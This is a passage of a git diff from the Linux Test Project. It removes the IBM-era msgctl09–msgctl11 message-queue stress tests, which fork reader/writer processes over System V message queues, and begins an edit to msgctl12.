- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
- * 11/11/2002   Port to LTP     dbarrera@us.ibm.com
- */
-
-/*
- * Get and manipulate a message queue.
- */
-
-#define _XOPEN_SOURCE 500
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include <sys/wait.h>
-#include <signal.h>
-#include <errno.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include "test.h"
-#include "ipcmsg.h"
-#include "../lib/libmsgctl.h"
-
-char *TCID = "msgctl09";
-int TST_TOTAL = 1;
-
-#define MAXNREPS	1000
-#ifndef CONFIG_COLDFIRE
-#define MAXNPROCS	 1000000	/* This value is set to an arbitrary high limit. */
-#else
-#define MAXNPROCS	 100000	/* Coldfire can't deal with 1000000 */
-#endif
-#define MAXNKIDS	10
-
-static key_t keyarray[MAXNPROCS];
-static int pidarray[MAXNPROCS];
-static int rkidarray[MAXNKIDS];
-static int wkidarray[MAXNKIDS];
-static int tid;
-static int nprocs, nreps, nkids, MSGMNI;
-static int procstat;
-
-void setup(void);
-void cleanup(void);
-
-static void term(int);
-static int dotest(key_t, int);
-static void cleanup_msgqueue(int i, int tid);
-
-static char *opt_nprocs;
-static char *opt_nkids;
-static char *opt_nreps;
-
-static option_t options[] = {
-	{"n:", NULL, &opt_nprocs},
-	{"c:", NULL, &opt_nkids},
-	{"l:", NULL, &opt_nreps},
-	{NULL, NULL, NULL},
-};
-
-static void usage(void)
-{
-	printf("  -n      Number of processes\n");
-	printf("  -c      Number of read/write child pairs\n");
-	printf("  -l      Number of iterations\n");
-}
-
-int main(int argc, char **argv)
-{
-	int i, j, ok, pid;
-	int count, status;
-
-	tst_parse_opts(argc, argv, options, usage);
-
-	setup();
-
-	nreps = MAXNREPS;
-	nprocs = MSGMNI;
-	nkids = MAXNKIDS;
-
-	if (opt_nreps) {
-		nreps = atoi(opt_nreps);
-		if (nreps > MAXNREPS) {
-			tst_resm(TINFO,
-				 "Requested number of iterations too large, "
-				 "setting to Max. of %d", MAXNREPS);
-			nreps = MAXNREPS;
-		}
-	}
-
-	if (opt_nprocs) {
-		nprocs = atoi(opt_nprocs);
-		if (nprocs > MSGMNI) {
-			tst_resm(TINFO,
-				 "Requested number of processes too large, "
-				 "setting to Max. of %d", MSGMNI);
-			nprocs = MSGMNI;
-		}
-	}
-
-	if (opt_nkids) {
-		nkids = atoi(opt_nkids);
-		if (nkids > MAXNKIDS) {
-			tst_resm(TINFO,
-				 "Requested number of read/write pairs too "
-				 "large, setting to Max. of %d", MAXNKIDS);
-			nkids = MAXNKIDS;
-		}
-	}
-
-	procstat = 0;
-	srand48((unsigned)getpid() + (unsigned)(getppid() << 16));
-	tid = -1;
-
-	/* Setup signal handleing routine */
-	if (sigset(SIGTERM, term) == SIG_ERR) {
-		tst_brkm(TFAIL, NULL, "Sigset SIGTERM failed");
-	}
-	/* Set up array of unique keys for use in allocating message
-	 * queues
-	 */
-	for (i = 0; i < nprocs; i++) {
-		ok = 1;
-		do {
-			/* Get random key */
-			keyarray[i] = (key_t) lrand48();
-			/* Make sure key is unique and not private */
-			if (keyarray[i] == IPC_PRIVATE) {
-				ok = 0;
-				continue;
-			}
-			for (j = 0; j < i; j++) {
-				if (keyarray[j] == keyarray[i]) {
-					ok = 0;
-					break;
-				}
-				ok = 1;
-			}
-		} while (ok == 0);
-	}
-	/* Fork a number of processes (nprocs), each of which will
-	 * create a message queue with several (nkids) reader/writer
-	 * pairs which will read and write a number (iterations)
-	 * of random length messages with specific values (keys).
-	 */
-
-	for (i = 0; i < nprocs; i++) {
-		fflush(stdout);
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TFAIL,
-				 NULL,
-				 "\tFork failed (may be OK if under stress)");
-		}
-		/* Child does this */
-		if (pid == 0) {
-			procstat = 1;
-			exit(dotest(keyarray[i], i));
-		}
-		pidarray[i] = pid;
-	}
-
-	count = 0;
-	while (1) {
-		if ((wait(&status)) > 0) {
-			if (status >> 8 != PASS) {
-				tst_brkm(TFAIL, NULL,
-					 "Child exit status = %d",
-					 status >> 8);
-			}
-			count++;
-		} else {
-			if (errno != EINTR) {
-				break;
-			}
-#ifdef DEBUG
-			tst_resm(TINFO, "Signal detected during wait");
-#endif
-		}
-	}
-	/* Make sure proper number of children exited */
-	if (count != nprocs) {
-		tst_brkm(TFAIL,
-			 NULL,
-			 "Wrong number of children exited, Saw %d, Expected %d",
-			 count, nprocs);
-	}
-
-	tst_resm(TPASS, "msgctl09 ran successfully!");
-
-	cleanup();
-	tst_exit();
-}
-
-static void cleanup_msgqueue(int i, int tid)
-{
-	/*
-	 * Decrease the value of i by 1 because it
-	 * is getting incremented even if the fork
-	 * is failing.
-	 */
-
-	i--;
-	/*
-	 * Kill all children & free message queue.
-	 */
-	for (; i >= 0; i--) {
-		(void)kill(rkidarray[i], SIGKILL);
-		(void)kill(wkidarray[i], SIGKILL);
-	}
-
-	if (msgctl(tid, IPC_RMID, 0) < 0) {
-		tst_brkm(TFAIL | TERRNO, NULL, "Msgctl error in cleanup");
-	}
-}
-
-static int dotest(key_t key, int child_process)
-{
-	int id, pid;
-	int i, count, status, exit_status;
-
-	sighold(SIGTERM);
-	if ((id = msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR)) < 0) {
-		printf("msgget() error in child %d: %s\n",
-			child_process, strerror(errno));
-		return FAIL;
-	}
-	tid = id;
-	sigrelse(SIGTERM);
-
-	exit_status = PASS;
-
-	for (i = 0; i < nkids; i++) {
-		fflush(stdout);
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			printf("Fork failure in the first child of child group %d\n",
-				child_process);
-			cleanup_msgqueue(i, tid);
-			return FAIL;
-		}
-		/* First child does this */
-		if (pid == 0) {
-			procstat = 2;
-			exit(doreader(key, tid, getpid(),
-					child_process, nreps));
-		}
-		rkidarray[i] = pid;
-		fflush(stdout);
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			printf("Fork failure in the second child of child group %d\n",
-				child_process);
-			/*
-			 * Kill the reader child process
-			 */
-			(void)kill(rkidarray[i], SIGKILL);
-
-			cleanup_msgqueue(i, tid);
-			return FAIL;
-		}
-		/* Second child does this */
-		if (pid == 0) {
-			procstat = 2;
-			exit(dowriter(key, tid, rkidarray[i],
-					child_process, nreps));
-		}
-		wkidarray[i] = pid;
-	}
-	/* Parent does this */
-	count = 0;
-	while (1) {
-		if ((wait(&status)) > 0) {
-			if (status >> 8 != PASS) {
-				printf("Child exit status = %d from child group %d\n",
-					status >> 8, child_process);
-				for (i = 0; i < nkids; i++) {
-					kill(rkidarray[i], SIGTERM);
-					kill(wkidarray[i], SIGTERM);
-				}
-				if (msgctl(tid, IPC_RMID, 0) < 0) {
-					printf("msgctl() error: %s\n",
-						strerror(errno));
-				}
-				return FAIL;
-			}
-			count++;
-		} else {
-			if (errno != EINTR) {
-				break;
-			}
-		}
-	}
-	/* Make sure proper number of children exited */
-	if (count != (nkids * 2)) {
-		printf("Wrong number of children exited in child group %d, saw %d, expected %d\n",
-			child_process, count, (nkids * 2));
-		if (msgctl(tid, IPC_RMID, 0) < 0) {
-			printf("msgctl() error: %s\n", strerror(errno));
-		}
-		return FAIL;
-	}
-	if (msgctl(id, IPC_RMID, 0) < 0) {
-		printf("msgctl() failure in child group %d: %s\n",
-			child_process, strerror(errno));
-		return FAIL;
-	}
-	return exit_status;
-}
-
-static void term(int sig LTP_ATTRIBUTE_UNUSED)
-{
-	int i;
-
-	if (procstat == 0) {
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGTERM signal received, test killing kids");
-#endif
-		for (i = 0; i < nprocs; i++) {
-			if (pidarray[i] > 0) {
-				if (kill(pidarray[i], SIGTERM) < 0) {
-					printf("Kill failed to kill child %d",
-						i);
-					exit(FAIL);
-				}
-			}
-		}
-		return;
-	}
-
-	if (procstat == 2) {
-		fflush(stdout);
-		exit(PASS);
-	}
-
-	if (tid == -1) {
-		exit(FAIL);
-	}
-	for (i = 0; i < nkids; i++) {
-		if (rkidarray[i] > 0)
-			kill(rkidarray[i], SIGTERM);
-		if (wkidarray[i] > 0)
-			kill(wkidarray[i], SIGTERM);
-	}
-}
-
-void setup(void)
-{
-	int nr_msgqs;
-
-	tst_tmpdir();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	nr_msgqs = get_max_msgqueues();
-	if (nr_msgqs < 0)
-		cleanup();
-
-	nr_msgqs -= get_used_msgqueues();
-	if (nr_msgqs <= 0) {
-		tst_resm(TBROK,
-			 "Max number of message queues already used, cannot create more.");
-		cleanup();
-	}
-
-	/*
-	 * Since msgmni scales to the memory size, it may reach huge values
-	 * that are not necessary for this test.
-	 * That's why we define NR_MSGQUEUES as a high boundary for it.
-	 */
-	MSGMNI = min(nr_msgqs, NR_MSGQUEUES);
-}
-
-void cleanup(void)
-{
-	int status;
-
-#ifdef DEBUG
-	tst_resm(TINFO, "Removing the message queue");
-#endif
-	fflush(stdout);
-	(void)msgctl(tid, IPC_RMID, NULL);
-	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
-		(void)msgctl(tid, IPC_RMID, NULL);
-		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
-
-	}
-
-	fflush(stdout);
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c
deleted file mode 100644
index f0f873f..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl10.c
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2002
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
- * 11/06/2002   Port to LTP     dbarrera@us.ibm.com
- */
-
-/*
- * Get and manipulate a message queue.
- * Same as msgctl08 but gets the actual msgmni value under procfs.
- */
-
-#define _XOPEN_SOURCE 500
-#include <signal.h>
-#include <errno.h>
-#include <string.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <values.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include "test.h"
-#include "ipcmsg.h"
-#include "../lib/libmsgctl.h"
-
-char *TCID = "msgctl10";
-int TST_TOTAL = 1;
-
-#define MAXNPROCS	10000	/*These should be sufficient */
-#define MAXNREPS	10000	/*Else they srewup the system un-necessarily */
-
-static key_t keyarray[MAXNPROCS];
-static int pidarray[MAXNPROCS];
-static int tid;
-static int MSGMNI, nprocs, nreps;
-static int procstat;
-static int mykid;
-
-void setup(void);
-void cleanup(void);
-
-static int dotest(key_t key, int child_process);
-static void sig_handler(int signo);
-
-static char *opt_nprocs;
-static char *opt_nreps;
-
-static option_t options[] = {
-	{"n:", NULL, &opt_nprocs},
-	{"l:", NULL, &opt_nreps},
-	{NULL, NULL, NULL},
-};
-
-static void usage(void)
-{
-	printf("  -n      Number of processes\n");
-	printf("  -l      Number of iterations\n");
-}
-
-int main(int argc, char **argv)
-{
-	int i, j, ok, pid;
-	int count, status;
-	struct sigaction act;
-
-	tst_parse_opts(argc, argv, options, usage);
-
-	setup();
-
-	nreps = MAXNREPS;
-	nprocs = MSGMNI;
-
-	if (opt_nreps) {
-		nreps = atoi(opt_nreps);
-		if (nreps > MAXNREPS) {
-			tst_resm(TINFO,
-				 "Requested number of iterations too large, "
-				 "setting to Max. of %d", MAXNREPS);
-			nreps = MAXNREPS;
-		}
-	}
-
-	if (opt_nprocs) {
-		nprocs = atoi(opt_nprocs);
-		if (nprocs > MSGMNI) {
-			tst_resm(TINFO,
-				 "Requested number of processes too large, "
-				 "setting to Max. of %d", MSGMNI);
-			nprocs = MSGMNI;
-		}
-	}
-
-	srand(getpid());
-	tid = -1;
-
-	/* Setup signal handling routine */
-	memset(&act, 0, sizeof(act));
-	act.sa_handler = sig_handler;
-	sigemptyset(&act.sa_mask);
-	sigaddset(&act.sa_mask, SIGTERM);
-	if (sigaction(SIGTERM, &act, NULL) < 0) {
-		tst_brkm(TFAIL, NULL, "Sigset SIGTERM failed");
-	}
-	/* Set up array of unique keys for use in allocating message
-	 * queues
-	 */
-	for (i = 0; i < nprocs; i++) {
-		ok = 1;
-		do {
-			/* Get random key */
-			keyarray[i] = (key_t) rand();
-			/* Make sure key is unique and not private */
-			if (keyarray[i] == IPC_PRIVATE) {
-				ok = 0;
-				continue;
-			}
-			for (j = 0; j < i; j++) {
-				if (keyarray[j] == keyarray[i]) {
-					ok = 0;
-					break;
-				}
-				ok = 1;
-			}
-		} while (ok == 0);
-	}
-
-	/* Fork a number of processes, each of which will
-	 * create a message queue with one reader/writer
-	 * pair which will read and write a number (iterations)
-	 * of random length messages with specific values.
-	 */
-
-	for (i = 0; i < nprocs; i++) {
-		fflush(stdout);
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TFAIL,
-				 NULL,
-				 "\tFork failed (may be OK if under stress)");
-		}
-		/* Child does this */
-		if (pid == 0) {
-			procstat = 1;
-			exit(dotest(keyarray[i], i));
-		}
-		pidarray[i] = pid;
-	}
-
-	count = 0;
-	while (1) {
-		if ((wait(&status)) > 0) {
-			if (status >> 8 != 0) {
-				tst_brkm(TFAIL, NULL,
-					 "Child exit status = %d",
-					 status >> 8);
-			}
-			count++;
-		} else {
-			if (errno != EINTR) {
-				break;
-			}
-#ifdef DEBUG
-			tst_resm(TINFO, "Signal detected during wait");
-#endif
-		}
-	}
-	/* Make sure proper number of children exited */
-	if (count != nprocs) {
-		tst_brkm(TFAIL,
-			 NULL,
-			 "Wrong number of children exited, Saw %d, Expected %d",
-			 count, nprocs);
-	}
-
-	tst_resm(TPASS, "msgctl10 ran successfully!");
-
-	cleanup();
-	tst_exit();
-}
-
-static int dotest(key_t key, int child_process)
-{
-	int id, pid;
-	int ret, status;
-
-	sighold(SIGTERM);
-	TEST(msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR));
-	if (TEST_RETURN < 0) {
-		printf("msgget() error in child %d: %s\n",
-			child_process, strerror(TEST_ERRNO));
-		return FAIL;
-	}
-	tid = id = TEST_RETURN;
-	sigrelse(SIGTERM);
-
-	fflush(stdout);
-	if ((pid = FORK_OR_VFORK()) < 0) {
-		printf("Fork failed (may be OK if under stress)\n");
-		TEST(msgctl(tid, IPC_RMID, 0));
-		if (TEST_RETURN < 0) {
-			printf("msgctl() error in cleanup: %s\n",
-				strerror(TEST_ERRNO));
-		}
-		return FAIL;
-	}
-	if (pid == 0)
-		exit(doreader(key, id, 1, child_process, nreps));
-
-	mykid = pid;
-	procstat = 2;
-	ret = dowriter(key, id, 1, child_process, nreps);
-	wait(&status);
-
-	if (ret != PASS)
-		exit(FAIL);
-
-	if ((!WIFEXITED(status) || (WEXITSTATUS(status) != PASS)))
-		exit(FAIL);
-
-	TEST(msgctl(id, IPC_RMID, 0));
-	if (TEST_RETURN < 0) {
-		printf("msgctl() failed: %s\n",
-			strerror(TEST_ERRNO));
-		return FAIL;
-	}
-	return PASS;
-}
-
-static void sig_handler(int signo LTP_ATTRIBUTE_UNUSED)
-{
-}
-
-void setup(void)
-{
-	int nr_msgqs;
-
-	tst_tmpdir();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	nr_msgqs = get_max_msgqueues();
-	if (nr_msgqs < 0)
-		cleanup();
-
-	MSGMNI = nr_msgqs - get_used_msgqueues();
-	if (MSGMNI > MAXNPROCS)
-		MSGMNI = MAXNPROCS;
-	if (MSGMNI <= 0) {
-		tst_resm(TBROK,
-			 "Max number of message queues already used, cannot create more.");
-		cleanup();
-	}
-}
-
-void cleanup(void)
-{
-	int status;
-
-#ifdef DEBUG
-	tst_resm(TINFO, "Removing the message queue");
-#endif
-	(void)msgctl(tid, IPC_RMID, NULL);
-	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
-		(void)msgctl(tid, IPC_RMID, NULL);
-		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
-
-	}
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c
deleted file mode 100644
index 89099a7..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl11.c
+++ /dev/null
@@ -1,450 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2002
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
- * 11/11/2002   Port to LTP     dbarrera@us.ibm.com
- */
-
-/*
- * Get and manipulate a message queue.
- * Same as msgctl09 but gets the actual msgmni value under procfs.
- */
-
-#define _XOPEN_SOURCE 500
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include <sys/wait.h>
-#include <signal.h>
-#include <errno.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include "test.h"
-#include "ipcmsg.h"
-#include "../lib/libmsgctl.h"
-
-char *TCID = "msgctl11";
-int TST_TOTAL = 1;
-
-#define MAXNREPS	1000
-#ifndef CONFIG_COLDFIRE
-#define MAXNPROCS	 1000000	/* This value is set to an arbitrary high limit. */
-#else
-#define MAXNPROCS	 100000	/* Coldfire can't deal with 1000000 */
-#endif
-#define MAXNKIDS	10
-#define DEFNKIDS	2
-
-static int maxnkids = MAXNKIDS;	/* Used if pid_max is exceeded */
-static key_t keyarray[MAXNPROCS];
-static int pidarray[MAXNPROCS];
-static int rkidarray[MAXNKIDS];
-static int wkidarray[MAXNKIDS];
-static int tid;
-static int nprocs, nreps, nkids, MSGMNI;
-static int maxnprocs;
-static int procstat;
-
-void setup(void);
-void cleanup(void);
-
-static void term(int);
-static int dotest(key_t, int);
-static void dotest_iteration(int off);
-static void cleanup_msgqueue(int i, int tid);
-
-static char *opt_maxnprocs;
-static char *opt_nkids;
-static char *opt_nreps;
-
-static option_t options[] = {
-	{"n:", NULL, &opt_maxnprocs},
-	{"c:", NULL, &opt_nkids},
-	{"l:", NULL, &opt_nreps},
-	{NULL, NULL, NULL},
-};
-
-static void usage(void)
-{
-	printf("  -n      Number of processes\n");
-	printf("  -c      Number of read/write child pairs\n");
-	printf("  -l      Number of iterations\n");
-}
-
-
-int main(int argc, char **argv)
-{
-	int i, j, ok;
-
-	tst_parse_opts(argc, argv, options, usage);
-
-	setup();
-
-	nreps = MAXNREPS;
-	nkids = MAXNKIDS;
-
-	if (opt_nreps) {
-		nreps = atoi(opt_nreps);
-		if (nreps > MAXNREPS) {
-			tst_resm(TINFO,
-				 "Requested number of iterations too large, "
-				 "setting to Max. of %d", MAXNREPS);
-			nreps = MAXNREPS;
-		}
-	}
-
-	if (opt_nkids) {
-		nkids = atoi(opt_nkids);
-		if (nkids > MAXNKIDS) {
-			tst_resm(TINFO,
-				 "Requested number of read/write pairs too "
-				 "large, setting to Max. of %d", MAXNKIDS);
-			nkids = MAXNKIDS;
-		}
-	}
-
-
-	if (opt_maxnprocs) {
-		if (atoi(opt_maxnprocs) > maxnprocs) {
-			tst_resm(TINFO,
-				 "Requested number of processes too large, "
-				 "setting to Max. of %d", MSGMNI);
-		} else {
-			maxnprocs = atoi(opt_maxnprocs);
-		}
-	}
-
-	procstat = 0;
-	srand48((unsigned)getpid() + (unsigned)(getppid() << 16));
-	tid = -1;
-
-	/* Setup signal handling routine */
-	if (sigset(SIGTERM, term) == SIG_ERR)
-		tst_brkm(TFAIL, cleanup, "Sigset SIGTERM failed");
-
-	/* Set up array of unique keys for use in allocating message
-	 * queues
-	 */
-	for (i = 0; i < MSGMNI; i++) {
-		ok = 1;
-		do {
-			/* Get random key */
-			keyarray[i] = (key_t) lrand48();
-			/* Make sure key is unique and not private */
-			if (keyarray[i] == IPC_PRIVATE) {
-				ok = 0;
-				continue;
-			}
-			for (j = 0; j < i; j++) {
-				if (keyarray[j] == keyarray[i]) {
-					ok = 0;
-					break;
-				}
-				ok = 1;
-			}
-		} while (ok == 0);
-	}
-	/* Fork a number of processes, each of which will
-	 * create a message queue with several (nkids) reader/writer
-	 * pairs which will read and write a number (iterations)
-	 * of random length messages with specific values (keys).
-	 *
-	 * We do not fork more than maxnprocs at a time and
-	 * we fork until all the message queues get used.
-	 */
-
-	if (MSGMNI <= maxnprocs) {
-		nprocs = MSGMNI;
-		dotest_iteration(0);
-	} else {
-		for (i = 0; i < (MSGMNI / maxnprocs); i++) {
-			nprocs = maxnprocs;
-			dotest_iteration(i*(MSGMNI / maxnprocs));
-		}
-
-		nprocs = MSGMNI % maxnprocs;
-		dotest_iteration(i*(MSGMNI / maxnprocs));
-	}
-
-	tst_resm(TPASS, "msgctl11 ran successfully!");
-
-	cleanup();
-	tst_exit();
-}
-
-static void dotest_iteration(int off)
-{
-	key_t key;
-	int i, count, status;
-	pid_t pid;
-
-	memset(pidarray, 0, sizeof(pidarray));
-
-	for (i = 0; i < nprocs; i++) {
-		key = keyarray[off + i];
-
-		if ((pid = FORK_OR_VFORK()) < 0)
-			tst_brkm(TFAIL, cleanup,
-				 "Fork failed (may be OK if under stress)");
-
-		/* Child does this */
-		if (pid == 0) {
-			procstat = 1;
-			exit(dotest(key, i));
-		}
-		pidarray[i] = pid;
-	}
-
-	count = 0;
-	while (1) {
-		if ((wait(&status)) > 0) {
-			if (status >> 8 != PASS)
-				tst_brkm(TFAIL, cleanup,
-					"Child exit status = %d", status >> 8);
-			count++;
-		} else {
-			if (errno != EINTR) {
-				break;
-			}
-#ifdef DEBUG
-			tst_resm(TINFO, "Signal detected during wait");
-#endif
-		}
-	}
-	/* Make sure proper number of children exited */
-	if (count != nprocs)
-		tst_brkm(TFAIL, cleanup,
-			 "Wrong number of children exited, Saw %d, Expected %d",
-			 count, nprocs);
-}
-
-static void cleanup_msgqueue(int i, int tid)
-{
-	/*
-	 * Decrease the value of i by 1 because it
-	 * is getting incremented even if the fork
-	 * is failing.
-	 */
-
-	i--;
-	/*
-	 * Kill all children & free message queue.
-	 */
-	for (; i >= 0; i--) {
-		(void)kill(rkidarray[i], SIGKILL);
-		(void)kill(wkidarray[i], SIGKILL);
-	}
-
-	if (msgctl(tid, IPC_RMID, 0) < 0) {
-		printf("Msgctl error in cleanup_msgqueue %d\n", errno);
-		exit(FAIL);
-	}
-}
-
-static int dotest(key_t key, int child_process)
-{
-	int id, pid;
-	int i, count, status, exit_status;
-
-	sighold(SIGTERM);
-	if ((id = msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR)) < 0) {
-		printf("msgget() error in child %d: %s\n",
-			child_process, strerror(errno));
-		return FAIL;
-	}
-	tid = id;
-	sigrelse(SIGTERM);
-
-	exit_status = PASS;
-
-	for (i = 0; i < nkids; i++) {
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			printf("Fork failure in the first child of child group %d\n",
-				child_process);
-			cleanup_msgqueue(i, tid);
-			return FAIL;
-		}
-		/* First child does this */
-		if (pid == 0) {
-			procstat = 2;
-			exit(doreader(key, tid, getpid(),
-					child_process, nreps));
-		}
-		rkidarray[i] = pid;
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			printf("Fork failure in the second child of child group %d\n",
-				child_process);
-			/*
-			 * Kill the reader child process
-			 */
-			(void)kill(rkidarray[i], SIGKILL);
-
-			cleanup_msgqueue(i, tid);
-			return FAIL;
-		}
-		/* Second child does this */
-		if (pid == 0) {
-			procstat = 2;
-			exit(dowriter(key, tid, rkidarray[i],
-					child_process, nreps));
-		}
-		wkidarray[i] = pid;
-	}
-	/* Parent does this */
-	count = 0;
-	while (1) {
-		if ((wait(&status)) > 0) {
-			if (status >> 8 != PASS) {
-				printf("Child exit status = %d from child group %d\n",
-					status >> 8, child_process);
-				for (i = 0; i < nkids; i++) {
-					kill(rkidarray[i], SIGTERM);
-					kill(wkidarray[i], SIGTERM);
-				}
-				if (msgctl(tid, IPC_RMID, 0) < 0) {
-					printf("msgctl() error: %s\n",
-						strerror(errno));
-				}
-				return FAIL;
-			}
-			count++;
-		} else {
-			if (errno != EINTR) {
-				break;
-			}
-		}
-	}
-	/* Make sure proper number of children exited */
-	if (count != (nkids * 2)) {
-		printf("Wrong number of children exited in child group %d, saw %d, expected %d\n",
-			child_process, count, (nkids * 2));
-		if (msgctl(tid, IPC_RMID, 0) < 0) {
-			printf("msgctl() error: %s\n", strerror(errno));
-		}
-		return FAIL;
-	}
-	if (msgctl(id, IPC_RMID, 0) < 0) {
-		printf("msgctl() failure in child group %d: %s\n",
-			child_process, strerror(errno));
-		return FAIL;
-	}
-	return exit_status;
-}
-
-/* ARGSUSED */
-static void term(int sig LTP_ATTRIBUTE_UNUSED)
-{
-	int i;
-
-	if (procstat == 0) {
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGTERM signal received, test killing kids");
-#endif
-		for (i = 0; i < nprocs; i++) {
-			if (pidarray[i] > 0) {
-				if (kill(pidarray[i], SIGTERM) < 0) {
-					tst_resm(TBROK,
-						 "Kill failed to kill child %d",
-						 i);
-					exit(FAIL);
-				}
-			}
-		}
-		return;
-	}
-
-	if (procstat == 2) {
-		exit(PASS);
-	}
-
-	if (tid == -1) {
-		exit(FAIL);
-	}
-	for (i = 0; i < nkids; i++) {
-		if (rkidarray[i] > 0)
-			kill(rkidarray[i], SIGTERM);
-		if (wkidarray[i] > 0)
-			kill(wkidarray[i], SIGTERM);
-	}
-}
-
-void setup(void)
-{
-	int nr_msgqs, free_pids;
-
-	tst_tmpdir();
-	/* You will want to enable some signal handling so you can capture
-	 * unexpected signals like SIGSEGV.
-	 */
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* One cavet that hasn't been fixed yet.  TEST_PAUSE contains the code to
-	 * fork the test with the -c option.  You want to make sure you do this
-	 * before you create your temporary directory.
-	 */
-	TEST_PAUSE;
-
-	nr_msgqs = get_max_msgqueues();
-	if (nr_msgqs < 0)
-		tst_brkm(TBROK, cleanup, "get_max_msgqueues() failed");
-
-	MSGMNI = nr_msgqs - get_used_msgqueues();
-	if (MSGMNI <= 0)
-		tst_brkm(TBROK, cleanup,
-			 "Max number of message queues already used, cannot create more.");
-
-	tst_resm(TINFO, "Found %d available message queues", MSGMNI);
-
-	free_pids = tst_get_free_pids(cleanup);
-	if (free_pids < 0) {
-		tst_brkm(TBROK, cleanup, "Can't obtain free_pid count");
-	} else if (!free_pids) {
-		tst_brkm(TBROK, cleanup, "No free pids");
-	}
-
-	/* We don't use more than a half of available pids.
-	 * For each child we fork up to 2*maxnkids grandchildren. */
-	maxnprocs = (free_pids / 2) / (1 + 2 * maxnkids);
-
-	if (!maxnprocs)
-		tst_brkm(TBROK, cleanup, "Not enough free pids");
-
-	tst_resm(TINFO, "Using upto %d pids", free_pids / 2);
-}
-
-void cleanup(void)
-{
-	int status;
-
-	/*
-	 * Remove the message queue from the system
-	 */
-#ifdef DEBUG
-	tst_resm(TINFO, "Removing the message queue");
-#endif
-	(void)msgctl(tid, IPC_RMID, NULL);
-	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
-		(void)msgctl(tid, IPC_RMID, NULL);
-		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
-
-	}
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c
index 2621f80..403a57e 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c
@@ -1,6 +1,7 @@
 /*
  * Copyright (c) 2014 Fujitsu Ltd.
  * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -14,87 +15,60 @@
  * with this program.
  */
 /*
- * DESCRIPTION
- *	msgctl12 - test for IPC_INFO MSG_INFO and MSG_STAT.
+ * msgctl12 - test for IPC_INFO MSG_INFO and MSG_STAT.
  */
 
 #define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/ipc.h>
